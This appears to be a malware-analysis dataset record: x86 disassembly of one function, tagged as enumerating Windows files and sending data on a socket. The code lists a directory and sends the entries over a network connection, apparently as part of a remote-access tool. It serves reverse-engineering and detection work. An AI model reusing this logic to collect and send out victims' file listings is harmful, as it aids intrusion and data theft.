Function at 0x40c6a0
Capabilities:
Enumerate files on windows
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x590750
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x99c8
call fcn.005647d0
mov eax, dword [0x5f4e24]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x800
lea eax, [ebp - 0x830]
mov ecx, 0x201
lea esi, [ebx + 8]
lea edi, [ebp - 0x11a8]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00565b20
add esp, 0xc
xor ecx, ecx
nop dword [eax]
mov al, byte [ebp + ecx - 0x11a4]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x831], al
test al, al
jne 0x40c710
lea edi, [ebp - 0x830]
dec edi
nop dword [eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x40c730
mov eax, dword [0x5d4fc0]
xor esi, esi
mov dword [edi], eax
xor edi, edi
xor eax, eax
mov dword [ebp - 0x99c0], edi
mov dword [ebp - 0x99d4], edi
mov dword [ebp - 0x99d0], esi
mov dword [ebp - 0x99c4], eax
mov dword [ebp - 0x99cc], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x99bc], eax
cmp eax, 0xffffffff
je 0x40c8ab
nop dword [eax + eax]
push 0x29
lea eax, [ebp - 0x85c]
push 0
push eax
call fcn.00565b20
add esp, 0xc
lea eax, [ebp - 0x9a0]
push eax
push dword [ebp - 0x99bc]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x40c899
test byte [ebp - 0x9a0], 0x10
mov ecx, 1
movzx eax, byte [ebp - 0x834]
cmovne eax, ecx
lea ecx, [ebp - 0x974]
mov byte [ebp - 0x834], al
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c7e3
sub ecx, edx
cmp ecx, 0x28
jae 0x40c790
xor ecx, ecx
mov al, byte [ebp + ecx - 0x974]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x85d], al
test al, al
jne 0x40c7f3
mov ecx, esi
mov eax, 0x63e7063f
sub ecx, edi
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 0x29a
jae 0x40c790
cmp esi, dword [ebp - 0x99c4]
je 0x40c869
movups xmm0, xmmword [ebp - 0x85c]
mov al, byte [ebp - 0x834]
movups xmmword [esi], xmm0
movups xmm0, xmmword [ebp - 0x84c]
movups xmmword [esi + 0x10], xmm0
movq xmm0, qword [ebp - 0x83c]
movq qword [esi + 0x20], xmm0
mov byte [esi + 0x28], al
add esi, 0x29
mov dword [ebp - 0x99d0], esi
jmp 0x40c790
lea eax, [ebp - 0x85c]
push eax
push esi
lea ecx, [ebp - 0x99d4]
call fcn.0040ebd0
mov eax, dword [ebp - 0x99cc]
mov esi, dword [ebp - 0x99d0]
mov edi, dword [ebp - 0x99d4]
mov dword [ebp - 0x99c4], eax
jmp 0x40c790
push dword [ebp - 0x99bc]
mov dword [ebp - 0x99c0], edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0xffffffffffffffff
push dword [0x5fe790]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esi, edi
mov eax, 0x63e7063f
imul esi
push 0x7fc
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul edi, eax, 0x29
lea eax, [ebp - 0x11a0]
push 0
push eax
mov dword [ebp - 0x99c8], edi
call fcn.00565b20
add esp, 0xc
mov dword [ebp - 0x11a8], 5
lea esi, [ebp - 0x17]
mov ecx, edi
test edi, edi
jns 0x40c93b
neg ecx
mov dword [ebp - 0x99bc], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0x99bc]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x99bc], eax
test eax, eax
jne 0x40c906
dec esi
mov byte [esi], 0x2d
jmp 0x40c970
mov dword [ebp - 0x99bc], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0x99bc]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x99bc], eax
test eax, eax
jne 0x40c941
push ecx
lea eax, [ebp - 0x17]
push eax
push esi
lea ecx, [ebp - 0x84c]
call fcn.0040c590
mov edx, dword [ebp - 0x838]
lea eax, [ebp - 0x84c]
mov ecx, dword [ebp - 0x84c]
cmp edx, 0x10
cmovae eax, ecx
mov eax, dword [eax]
mov dword [ebp - 0x11a4], eax
jb 0x40c9cc
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40c9c2
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cade
push edx
push ecx
call fcn.005638e9
add esp, 8
push 0
push 0x804
lea eax, [ebp - 0x19ac]
mov ecx, 0x201
push eax
push dword [0x5fe554]
lea esi, [ebp - 0x11a8]
lea edi, [ebp - 0x19ac]
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.WS2_32.dll_send]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x8000
lea eax, [ebp - 0x99b4]
push 0
push eax
call fcn.00565b20
push dword [ebp - 0x99c8]
lea eax, [ebp - 0x99b4]
mov dword [ebp - 0x99b8], 5
push dword [ebp - 0x99c0]
push eax
call fcn.005655a0
add esp, 0x18
mov esi, 0x8004
xor edi, edi
push 0
push esi
lea eax, [ebp - 0x99b8]
add eax, edi
push eax
push dword [0x5fe554]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40ca74
sub esi, eax
add edi, eax
test esi, esi
jg 0x40ca43
push dword [0x5fe790]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov esi, dword [ebp - 0x99c0]
test esi, esi
je 0x40cabe
mov ecx, dword [ebp - 0x99c4]
mov eax, 0x63e7063f
sub ecx, esi
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul ecx, eax, 0x29
mov eax, esi
cmp ecx, 0x1000
jb 0x40cab4
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cade
push ecx
push esi
call fcn.005638e9
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005638db
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00568e05
int3